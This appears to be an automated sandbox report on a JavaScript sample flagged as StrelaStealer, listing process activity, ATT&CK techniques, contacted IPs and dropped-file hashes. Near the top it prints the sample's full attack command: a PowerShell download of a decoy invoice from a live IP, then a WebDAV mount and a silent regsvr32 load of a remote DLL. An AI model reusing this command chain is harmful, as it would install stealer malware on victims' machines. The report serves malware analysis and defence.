Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
15226731132828820.js	8%	Virustotal		Browse
15226731132828820.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace=	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1345568570.00000161920F0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2566613557.000001619220F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1343627078.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343923725.000001CBEC680000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000003.1341999484.000001CBEC67E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 0000000D.00000003.1342291965.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1343627078.000001CBEC665000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace=	net.exe, 0000000D.00000002.1343517317.000001CBEC628000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588369
Start date and time:	2025-01-11 01:28:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	15226731132828820.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.22.41.97, 3.219.243.226, 52.6.155.20, 3.233.129.217, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 13.107.246.45, 50.16.47.176, 20.12.23.50, 23.206.252.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
19:29:03	API Interceptor	23x Sleep call for process: powershell.exe modified
19:29:07	API Interceptor	1x Sleep call for process: net.exe modified
19:29:08	API Interceptor	2x Sleep call for process: svchost.exe modified
19:29:16	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27374120242908411416.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7772104212868830459.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2837518771550414407.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23333227572217423995.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2709365481268819493.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.706677800506221
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqQ:2JIB/wUKUKQncEmYRTwh00
MD5:	3346F65534B3153ACDA2995179DCDC86
SHA1:	E1495FADAB0BD396ACF92BD91039A3BBF56343B8
SHA-256:	9D268446628FFC724CB94BF4B91661AAA52F0FB3EE69512B76B9600613E1F30F
SHA-512:	6BB6EA19A51C65E66F2247E07F9D10B766D08BDB06A98E3C728184DA4600A844BD4DF69EDB9E5716C08EFEB0743E5C62F725445D04879F48A2F1FFF99CF03554
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x391262f7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899441875359932
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	2EF73739E864EFAD2B40AB9F000C1AF8
SHA1:	E19A29990AAE0233CFE643735D486DE07DCFC1EF
SHA-256:	DAC80EB78D9AD13805A0FADF485C6BCC084D1F6550CAB199168E9BA8BF34F363
SHA-512:	6F6F04DD14FA7ACE4AB860E860D8589D151673248153AAFFC2200A9E6EF9A49A37E7DC87255E1734EA14A8A2E19146F6520492535D0F8C53D6805DCCECAC4CC4
Malicious:	false
Preview:	9.b.... ...............X\...;...{......................0.`.....42...{5......}..h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................J.......}....................s......}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08043065511662764
Encrypted:	false
SSDEEP:	3:mXKYeaIYmtyqNt/57Dek3JIWj4lrLZ1ollEqW3l/TjzzQ/t:GKzhRPR3tIWElrgmd8/
MD5:	0C583E5606D530F19504088B58076033
SHA1:	E6E659578C72F31A668141BFCA3E992CD2E2CCF7
SHA-256:	31DDFB2B9827DA152CD48239EF6EAE904772E75BF41F526C5CA3E51B83979904
SHA-512:	DBC0B17F785711DC3740433C17F60A0E1C7B96167735613540FBF6E4AF5C032AE710B6AF644F109FF9DAEDB751B741ED3A418805984345B92D4787D9C2583AD2
Malicious:	false
Preview:	.L......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59..................s......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.167787731629619
Encrypted:	false
SSDEEP:	6:iO4b9dGaq2PcNwi2nKuAl9OmbnIFUtSb9dqBZmwsb9dqbkwOcNwi2nKuAl9Ombjd:749cavLZHAahFUta9q/k9W54ZHAaSJ
MD5:	DC0361B8497AF9FBA5192233A2A1DA9D
SHA1:	7F0CFA5830D8DDBC371D857DBB541B944774791E
SHA-256:	0979753DB27A2F8BE3F20C5F11E51F4A69F8FD7BD01E32E33D1A2D8078F78911
SHA-512:	59459A48D208F53923BA8780C86BA96788D061FA8B7F2BD4BF77A630DDE489AC346CABC9FD75B10ECA17DEB89D4F1BA9CD93294EC5C62D25BD4195EBF9FAEA07
Malicious:	false
Preview:	2025/01/10-19:29:08.204 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:29:08.208 1db0 Recovering log #3.2025/01/10-19:29:08.208 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.167787731629619
Encrypted:	false
SSDEEP:	6:iO4b9dGaq2PcNwi2nKuAl9OmbnIFUtSb9dqBZmwsb9dqbkwOcNwi2nKuAl9Ombjd:749cavLZHAahFUta9q/k9W54ZHAaSJ
MD5:	DC0361B8497AF9FBA5192233A2A1DA9D
SHA1:	7F0CFA5830D8DDBC371D857DBB541B944774791E
SHA-256:	0979753DB27A2F8BE3F20C5F11E51F4A69F8FD7BD01E32E33D1A2D8078F78911
SHA-512:	59459A48D208F53923BA8780C86BA96788D061FA8B7F2BD4BF77A630DDE489AC346CABC9FD75B10ECA17DEB89D4F1BA9CD93294EC5C62D25BD4195EBF9FAEA07
Malicious:	false
Preview:	2025/01/10-19:29:08.204 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-19:29:08.208 1db0 Recovering log #3.2025/01/10-19:29:08.208 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.176910316150471
Encrypted:	false
SSDEEP:	6:iO4b9dDGqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSb9doZmwsb9driMVkwOcNwi2ng:74943+vLZHAa8uFUta9W/k99V54ZHAaU
MD5:	1C005754549699E8C7467F86610A0104
SHA1:	F5F7F212A51DFD96CF7C4C828292E59AA867DA23
SHA-256:	6D12828BD684ED72EAA4E1591419272EDD5F80656BEE04B32B5F174EE97DF097
SHA-512:	6DCDB73C54AE7500458DAE9F0D43B0F84B993A982E5D3C113FAEBB0044B0D60D4224EEB0697458788FBEA6082F559C480B26FB241A4E5EB802F9F735C8A3DFD5
Malicious:	false
Preview:	2025/01/10-19:29:08.254 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:29:08.256 1eac Recovering log #3.2025/01/10-19:29:08.257 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.176910316150471
Encrypted:	false
SSDEEP:	6:iO4b9dDGqM+q2PcNwi2nKuAl9Ombzo2jMGIFUtSb9doZmwsb9driMVkwOcNwi2ng:74943+vLZHAa8uFUta9W/k99V54ZHAaU
MD5:	1C005754549699E8C7467F86610A0104
SHA1:	F5F7F212A51DFD96CF7C4C828292E59AA867DA23
SHA-256:	6D12828BD684ED72EAA4E1591419272EDD5F80656BEE04B32B5F174EE97DF097
SHA-512:	6DCDB73C54AE7500458DAE9F0D43B0F84B993A982E5D3C113FAEBB0044B0D60D4224EEB0697458788FBEA6082F559C480B26FB241A4E5EB802F9F735C8A3DFD5
Malicious:	false
Preview:	2025/01/10-19:29:08.254 1eac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-19:29:08.256 1eac Recovering log #3.2025/01/10-19:29:08.257 1eac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\56bedaaf-f79d-4022-8d9c-ab717343c737.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF543b89.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eecd5360-ab51-487c-8fbf-daa02ffe7842.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972171568426087
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq8yhsBdOg2HV2caq3QYiubSpDyP7E4T3y:Y2sRdsXyydMHVJ3QYhbSpDa7nby
MD5:	93FC0CB049B69A1FE444BD6ED0B09FCD
SHA1:	96F4413CE864CA0522EE513BD046240E061B3A21
SHA-256:	96AB1603D769748BA4F584B327659B914B1BAF5C5E7D0ADB1A1F29DFF650EADB
SHA-512:	A1162F9BF75FD4CA20371A3EF847A73981048A843268A7AEED42768535DBE8D9E6F2F467EA7A47C8CD5D6BF51C370CE8CB9532C4FCAF22AA0B33B7921A92D575
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381115359577266","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":106719},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232659800196435
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPXoQlSYQ:CwNw1GHqPySfkcigoO3h28ytP4QlpQ
MD5:	BB432D07E8C9CE6D96A5C479DBC73308
SHA1:	30CE18B84459B843C9D3E4CC6865180FAA19D487
SHA-256:	358E2298EEDBDCFF1FEDE1DA1BEDE735E51633CC31FA8CABADB89278E2E3224C
SHA-512:	7A35F6606474CF083DC48E0237600ED55FE45DA38AB39344E785F3DD03706F227FD707612308C0E3096603424EB8801BEBC522BBA096E01FB85A76BAAD3BFD3B
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
